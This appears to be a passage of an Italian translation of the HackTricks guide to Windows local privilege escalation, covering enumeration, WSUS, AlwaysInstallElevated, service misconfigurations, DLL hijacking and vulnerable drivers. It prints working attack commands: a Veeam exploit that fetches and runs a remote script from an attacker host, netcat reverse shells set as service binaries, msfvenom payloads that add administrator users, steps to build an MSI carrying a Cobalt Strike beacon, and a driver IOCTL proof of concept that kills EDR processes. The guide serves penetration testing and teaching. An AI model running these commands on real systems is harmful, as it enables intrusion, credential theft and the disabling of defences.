Windows Escalation locale dei privilegi

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Miglior tool per cercare vettori di escalation dei privilegi locali su Windows: WinPEAS

Teoria iniziale su Windows

Access Tokens

Se non sai cosa sono i Windows Access Tokens, leggi la seguente pagina prima di continuare:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Consulta la seguente pagina per maggiori informazioni su ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Se non sai cosa sono gli integrity levels in Windows dovresti leggere la seguente pagina prima di continuare:

Integrity Levels

Controlli di sicurezza di Windows

Ci sono diversi elementi in Windows che possono impedire l’enumerazione del sistema, l’esecuzione di eseguibili o addirittura rilevare le tue attività. Dovresti leggere la seguente pagina ed enumerare tutti questi meccanismi di difesa prima di iniziare l’enumerazione per l’escalation dei privilegi:

Windows Security Controls

Admin Protection / UIAccess silent elevation

I processi UIAccess avviati tramite RAiLaunchAdminProcess possono essere abusati per raggiungere High IL senza prompt quando i controlli secure-path di AppInfo vengono bypassati. Controlla il workflow dedicato per il bypass di UIAccess/Admin Protection qui:

Uiaccess Admin Protection Bypass

Informazioni sul sistema

Enumerazione delle informazioni sulla versione

Verifica se la versione di Windows ha vulnerabilità note (controlla anche le patch applicate).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Exploit di versione

Questo site è utile per cercare informazioni dettagliate sulle vulnerabilità di sicurezza di Microsoft. Questo database contiene più di 4.700 vulnerabilità di sicurezza, mostrando la massiccia superficie d’attacco che presenta un ambiente Windows.

Sul sistema

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas has watson embedded)

Localmente con informazioni sul sistema

Repository GitHub di exploits:

Ambiente

Ci sono credential/Juicy info salvate nelle env variables?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Cronologia di PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

File di trascrizione di PowerShell

Puoi imparare come attivarlo qui: https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

I dettagli delle esecuzioni di pipeline di PowerShell vengono registrati, comprendendo i comandi eseguiti, le invocazioni di comandi e parti di script. Tuttavia, i dettagli completi dell’esecuzione e i risultati dell’output potrebbero non essere catturati.

Per abilitarlo, segui le istruzioni nella sezione “Transcript files” della documentazione, selezionando “Module Logging” invece di “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Per visualizzare gli ultimi 15 eventi dai log di PowersShell puoi eseguire:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Viene catturato un registro completo delle attività e del contenuto dell’esecuzione dello script, garantendo che ogni blocco di codice venga documentato mentre viene eseguito. Questo processo preserva una traccia di audit esaustiva di ogni attività, utile per l’analisi forense e lo studio di comportamenti malevoli. Documentando tutte le attività al momento dell’esecuzione, si ottengono approfondimenti dettagliati sul processo.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Gli eventi di logging per lo Script Block si trovano nel Visualizzatore eventi di Windows al percorso: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Per visualizzare gli ultimi 20 eventi puoi usare:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Impostazioni Internet

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Unità

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Puoi compromettere il sistema se gli aggiornamenti non vengono richiesti usando httpS ma http.

Inizia verificando se la rete usa un aggiornamento WSUS non-SSL eseguendo quanto segue in cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Oppure il seguente in PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Se ricevi una risposta come una delle seguenti:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

E se HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer o Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" è uguale a 1.

Allora, è sfruttabile. Se l’ultimo valore di registro è uguale a 0, la voce WSUS verrà ignorata.

Per sfruttare questa vulnerabilità puoi usare strumenti come: Wsuxploit, pyWSUS - questi sono script di exploit MiTM “weaponized” per iniettare aggiornamenti ‘fake’ nel traffico WSUS non-SSL.

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
Fondamentalmente, questa è la falla che questo bug sfrutta:

If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.

Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.

Puoi sfruttare questa vulnerabilità usando lo strumento WSUSpicious (una volta che sarà stato reso disponibile).

Auto-updater di terze parti e Agent IPC (local privesc)

Molti agent enterprise espongono una superficie IPC su localhost e un canale di aggiornamento privilegiato. Se l’enrollment può essere forzato verso un server controllato dall’attaccante e l’updater si fida di una rogue root CA o ha controlli deboli sul signer, un utente locale può consegnare un MSI malevolo che il servizio SYSTEM installerà. Vedi una tecnica generalizzata (basata sulla Netskope stAgentSvc chain – CVE-2025-0309) qui:

Abusing Auto Updaters And Ipc

Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)

Veeam B&R < 11.0.1.1261 espone un servizio localhost su TCP/9401 che elabora messaggi controllati dall’attaccante, permettendo comandi arbitrari come NT AUTHORITY\SYSTEM.

  • Recon: confermare il listener e la versione, ad es., netstat -ano | findstr 9401 e (Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion.
  • Exploit: posizionare una PoC come VeeamHax.exe con le DLL Veeam richieste nella stessa directory, poi attivare un payload SYSTEM sul socket locale:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""

Il servizio esegue il comando come SYSTEM.

KrbRelayUp

Una vulnerabilità di local privilege escalation esiste negli ambienti Windows domain in condizioni specifiche. Queste condizioni includono ambienti in cui LDAP signing is not enforced, utenti che possiedono self-rights che permettono loro di configurare Resource-Based Constrained Delegation (RBCD), e la capacità per gli utenti di creare computer all’interno del domain. È importante notare che questi requisiti sono soddisfatti usando le impostazioni predefinite.

Trova l’exploit in https://github.com/Dec0ne/KrbRelayUp

Per maggiori informazioni sul flusso dell’attacco consulta https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Se queste 2 chiavi di registro sono abilitate (valore 0x1), allora utenti con qualsiasi privilegio possono installare (eseguire) *.msi files as NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Se hai una sessione meterpreter puoi automatizzare questa tecnica usando il modulo exploit/windows/local/always_install_elevated

PowerUP

Usa il comando Write-UserAddMSI di power-up per creare nella directory corrente un file MSI di Windows per elevare i privilegi. Questo script genera un installer MSI precompilato che richiede l’aggiunta di un utente/gruppo (quindi avrai bisogno di accesso GUI):

Write-UserAddMSI

Esegui semplicemente il binario creato per ottenere l’escalation dei privilegi.

MSI Wrapper

Leggi questo tutorial per imparare come creare un MSI wrapper usando questi strumenti. Nota che puoi avvolgere un file “.bat” se vuoi solo eseguire comandi da riga di comando

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Genera con Cobalt Strike o Metasploit un new Windows EXE TCP payload in C:\privesc\beacon.exe
  • Apri Visual Studio, seleziona Create a new project e digita “installer” nella casella di ricerca. Seleziona il progetto Setup Wizard e clicca Next.
  • Assegna al progetto un nome, come AlwaysPrivesc, usa C:\privesc per la posizione, seleziona place solution and project in the same directory, e clicca Create.
  • Continua a cliccare Next finché non arrivi al passo 3 di 4 (choose files to include). Clicca Add e seleziona il Beacon payload che hai appena generato. Poi clicca Finish.
  • Seleziona il progetto AlwaysPrivesc in Solution Explorer e nelle Properties, cambia TargetPlatform da x86 a x64.
  • Ci sono altre proprietà che puoi modificare, come Author e Manufacturer, che possono rendere l’app installata più legittima.
  • Clicca col tasto destro sul progetto e seleziona View > Custom Actions.
  • Clicca col tasto destro su Install e seleziona Add Custom Action.
  • Fai doppio clic su Application Folder, seleziona il tuo file beacon.exe e clicca OK. Questo assicurerà che il beacon payload venga eseguito non appena l’installer viene lanciato.
  • Sotto le Custom Action Properties, imposta Run64Bit su True.
  • Infine, compilalo.
  • Se viene mostrato l’avviso File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', assicurati di impostare la piattaforma su x64.

MSI Installation

Per eseguire l’installazione del file .msi malevolo in background:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Per sfruttare questa vulnerabilità puoi usare: exploit/windows/local/always_install_elevated

Antivirus e Rilevatori

Impostazioni di Audit

Queste impostazioni decidono cosa viene registrato, quindi dovresti prestare attenzione

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, è interessante sapere dove vengono inviati i log

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS è progettato per la gestione delle password degli Administrator locali, garantendo che ogni password sia unica, casuale e aggiornata regolarmente sui computer uniti a un dominio. Queste password sono memorizzate in modo sicuro in Active Directory e possono essere accessibili solo dagli utenti ai quali sono stati concessi permessi sufficienti tramite ACLs, consentendo loro di visualizzare le password degli Administrator locali se autorizzati.

LAPS

WDigest

Se attivo, le password in plain-text sono memorizzate in LSASS (Local Security Authority Subsystem Service).
Maggiori informazioni su WDigest in questa pagina.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

A partire da Windows 8.1, Microsoft ha introdotto una protezione avanzata per il Local Security Authority (LSA) per bloccare i tentativi di processi non attendibili di leggere la sua memoria o iniettare codice, migliorando ulteriormente la sicurezza del sistema.
Maggiori informazioni su LSA Protection qui.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard è stato introdotto in Windows 10. Il suo scopo è proteggere le credentials memorizzate su un dispositivo da minacce come pass-the-hash attacks.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials vengono autenticate dalla Local Security Authority (LSA) e utilizzate dai componenti del sistema operativo. Quando i dati di logon di un utente vengono autenticati da un security package registrato, i domain credentials per l’utente vengono tipicamente stabiliti.
Maggiori informazioni su Cached Credentials qui.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Utenti e Gruppi

Enumerare Utenti e Gruppi

Dovresti verificare se uno dei gruppi a cui appartieni ha permessi interessanti

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Gruppi privilegiati

Se appartieni a qualche gruppo privilegiato potresti essere in grado di elevare i privilegi. Scopri i gruppi privilegiati e come abusarne per elevare i privilegi qui:

Privileged Groups

Manipolazione dei token

Scopri di più su cos’è un token in questa pagina: Windows Tokens.
Consulta la pagina seguente per scoprire token interessanti e come abusarne:

Abusing Tokens

Utenti connessi / Sessioni

qwinsta
klist sessions

Cartelle home

dir C:\Users
Get-ChildItem C:\Users

Politica delle password

net accounts

Ottieni il contenuto degli appunti

powershell -command "Get-Clipboard"

Processi in esecuzione

Permessi di file e cartelle

Innanzitutto, elencando i processi verifica la presenza di password nella riga di comando del processo.
Controlla se puoi sovrascrivere qualche binary in esecuzione o se hai permessi di scrittura sulla cartella dei binary per sfruttare possibili DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Verifica sempre la presenza di eventuali electron/cef/chromium debuggers in esecuzione, che potresti sfruttare per scalare i privilegi.

Controllo dei permessi dei binari dei processi

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Verifica dei permessi delle cartelle dei binari dei processi (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Estrazione di Password dalla memoria

Puoi creare un memory dump di un processo in esecuzione usando procdump da sysinternals. Servizi come FTP hanno le credentials in clear text in memory, prova a dumpare la memoria e leggere le credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Applicazioni GUI non sicure

Le applicazioni eseguite come SYSTEM possono permettere a un utente di avviare un CMD, o di esplorare le directory.

Esempio: “Windows Help and Support” (Windows + F1), cerca “command prompt”, clicca su “Click to open Command Prompt”

Servizi

Service Triggers permettono a Windows di avviare un servizio quando si verificano determinate condizioni (attività di named pipe/RPC endpoint, eventi ETW, disponibilità IP, arrivo di un device, refresh GPO, ecc.). Anche senza i diritti SERVICE_START spesso puoi avviare servizi privilegiati attivando i loro trigger. Vedi le tecniche di enumerazione e attivazione qui:

Service Triggers

Ottieni un elenco dei servizi:

net start
wmic service list brief
sc query
Get-Service

Permessi

Puoi usare sc per ottenere informazioni su un servizio

sc qc <service_name>

Si consiglia di avere il binario accesschk di Sysinternals per verificare il livello di privilegi richiesto per ogni servizio.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

È consigliabile verificare se “Authenticated Users” possono modificare qualsiasi servizio:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Abilitare il servizio

Se riscontri questo errore (ad esempio con SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Puoi abilitarlo usando

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Tieni conto che il servizio upnphost dipende da SSDPSRV per funzionare (per XP SP1)

Un’altra soluzione alternativa a questo problema è eseguire:

sc.exe config usosvc start= auto

Modifica del percorso del binario del servizio

Nel caso in cui il gruppo “Authenticated users” possieda SERVICE_ALL_ACCESS su un servizio, è possibile modificare il file eseguibile del servizio. Per modificare ed eseguire sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Riavviare il servizio

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

I privilegi possono essere elevati tramite diverse autorizzazioni:

  • SERVICE_CHANGE_CONFIG: Consente la riconfigurazione del binario del servizio.
  • WRITE_DAC: Abilita la riconfigurazione dei permessi, portando alla possibilità di modificare le configurazioni del servizio.
  • WRITE_OWNER: Permette di acquisire la proprietà e riconfigurare i permessi.
  • GENERIC_WRITE: Eredita la capacità di modificare le configurazioni del servizio.
  • GENERIC_ALL: Anche questo eredita la capacità di modificare le configurazioni del servizio.

Per il rilevamento e lo sfruttamento di questa vulnerabilità, si può utilizzare exploit/windows/local/service_permissions.

Permessi deboli dei binari dei servizi

Verifica se puoi modificare il binario eseguito da un servizio o se hai permessi di scrittura sulla cartella in cui si trova il binario (DLL Hijacking).
Puoi ottenere ogni binario eseguito da un servizio usando wmic (non in system32) e verificare i tuoi permessi usando icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Puoi anche usare sc e icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Permessi di modifica del registro dei servizi

Dovresti verificare se puoi modificare qualche registro dei servizi.
Puoi controllare i tuoi permessi su un registro di servizio eseguendo:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Si dovrebbe verificare se Authenticated Users o NT AUTHORITY\INTERACTIVE possiedono i permessi FullControl. In tal caso, il binary eseguito dal servizio può essere alterato.

Per cambiare il Path del binary eseguito:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Registro dei servizi — permessi AppendData/AddSubdirectory

Se hai questo permesso su un registro, significa che puoi creare sotto-registri a partire da questo. Nel caso dei servizi di Windows questo è sufficiente per eseguire codice arbitrario:

AppendData/AddSubdirectory permission over service registry

Percorsi di servizio non quotati

Se il percorso di un eseguibile non è racchiuso tra virgolette, Windows proverà a eseguire ogni parte che termina prima di uno spazio.

Per esempio, per il percorso C:\Program Files\Some Folder\Service.exe Windows proverrà a eseguire:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Elenca tutti i percorsi di servizio non racchiusi tra virgolette, escludendo quelli appartenenti ai servizi Windows integrati:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Puoi rilevare e sfruttare questa vulnerabilità con metasploit: exploit/windows/local/trusted\_service\_path Puoi creare manualmente un file binario di servizio con metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Azioni di ripristino

Windows consente agli utenti di specificare azioni da eseguire se un servizio fallisce. Questa funzionalità può essere configurata per puntare a un binary. Se questo binary è sostituibile, potrebbe essere possibile la privilege escalation. Maggiori dettagli sono disponibili nella documentazione ufficiale.

Applicazioni

Applicazioni installate

Verifica i permessi dei binaries (magari puoi sovrascriverne uno e escalate privileges) e delle cartelle (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Permessi di scrittura

Verifica se puoi modificare qualche file di configurazione per leggere qualche file speciale oppure se puoi modificare qualche binario che verrà eseguito da un account Administrator (schedtasks).

Un modo per trovare permessi deboli su cartelle/file nel sistema è eseguire:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Persistenza/esecuzione autoload dei plugin di Notepad++

Notepad++ autoloads any plugin DLL under its plugins subfolders. If a writable portable/copy install is present, dropping a malicious plugin gives automatic code execution inside notepad++.exe on every launch (including from DllMain and plugin callbacks).

Notepad Plus Plus Plugin Autoload Persistence

Esecuzione all’avvio

Verifica se puoi sovrascrivere qualche registry o binario che verrà eseguito da un altro utente.
Leggi la pagina seguente per saperne di più su interessanti autoruns locations to escalate privileges:

Privilege Escalation with Autoruns

Drivers

Cerca possibili third party weird/vulnerable drivers

driverquery
driverquery.exe /fo table
driverquery /SI

Se un driver espone una primitiva di lettura/scrittura arbitraria del kernel (comune in handler IOCTL progettati male), puoi escalare ottenendo un token SYSTEM direttamente dalla memoria del kernel. Vedi la tecnica passo‑per‑passo qui:

Arbitrary Kernel Rw Token Theft

Per bug di race-condition in cui la chiamata vulnerabile apre un percorso dell’Object Manager controllato dall’attaccante, rallentare deliberatamente la lookup (usando componenti a lunghezza massima o catene di directory profonde) può estendere la finestra da microsecondi a decine di microsecondi:

Kernel Race Condition Object Manager Slowdown

Primitive di corruzione della memoria degli hive del registro

Le vulnerabilità moderne degli hive permettono di organizzare layout deterministici, abusare di discendenti scrivibili di HKLM/HKU e convertire la corruzione dei metadata in overflow del paged-pool del kernel senza un driver custom. Scopri la catena completa qui:

Windows Registry Hive Exploitation

Abuso della mancanza di FILE_DEVICE_SECURE_OPEN sugli oggetti device (LPE + EDR kill)

Alcuni driver di terze parti firmati creano il loro oggetto device con un SDDL forte tramite IoCreateDeviceSecure ma dimenticano di impostare FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Senza questo flag, la DACL sicura non viene applicata quando il device viene aperto tramite un path contenente un componente extra, permettendo a qualsiasi utente non privilegiato di ottenere un handle usando un namespace path come:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

Una volta che un utente può aprire il device, gli IOCTL privilegiati esposti dal driver possono essere abusati per LPE e manomissione. Esempi di capacità osservate nel mondo reale:

  • Restituire handle con pieno accesso a processi arbitrari (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Lettura/scrittura raw del disco senza restrizioni (manomissione offline, trucchi per persistenza all’avvio).
  • Terminare processi arbitrari, inclusi Protected Process/Light (PP/PPL), consentendo la terminazione di AV/EDR dallo user land tramite il kernel.

Minimal PoC pattern (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigazioni per sviluppatori

  • Imposta sempre FILE_DEVICE_SECURE_OPEN quando crei device objects destinati ad essere ristretti da una DACL.
  • Valida il caller context per privileged operations. Aggiungi PP/PPL checks prima di consentire process termination o handle returns.
  • Restringi IOCTLs (access masks, METHOD_*, input validation) e considera brokered models invece di direct kernel privileges.

Detection ideas for defenders

  • Monitora gli user-mode opens di nomi di dispositivi sospetti (e.g., \ .\amsdk*) e specifiche sequenze di IOCTL indicative di abuso.
  • Applica Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) e mantieni le tue liste allow/deny.

PATH DLL Hijacking

Se hai write permissions inside a folder present on PATH potresti essere in grado di hijack a DLL caricata da un processo e escalate privileges.

Controlla i permessi di tutte le cartelle presenti in PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Per maggiori informazioni su come sfruttare questo controllo:

Writable Sys Path +Dll Hijacking Privesc

Rete

Condivisioni

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Verifica la presenza di altri computer noti hardcoded nel file hosts

type C:\Windows\System32\drivers\etc\hosts

Interfacce di rete & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
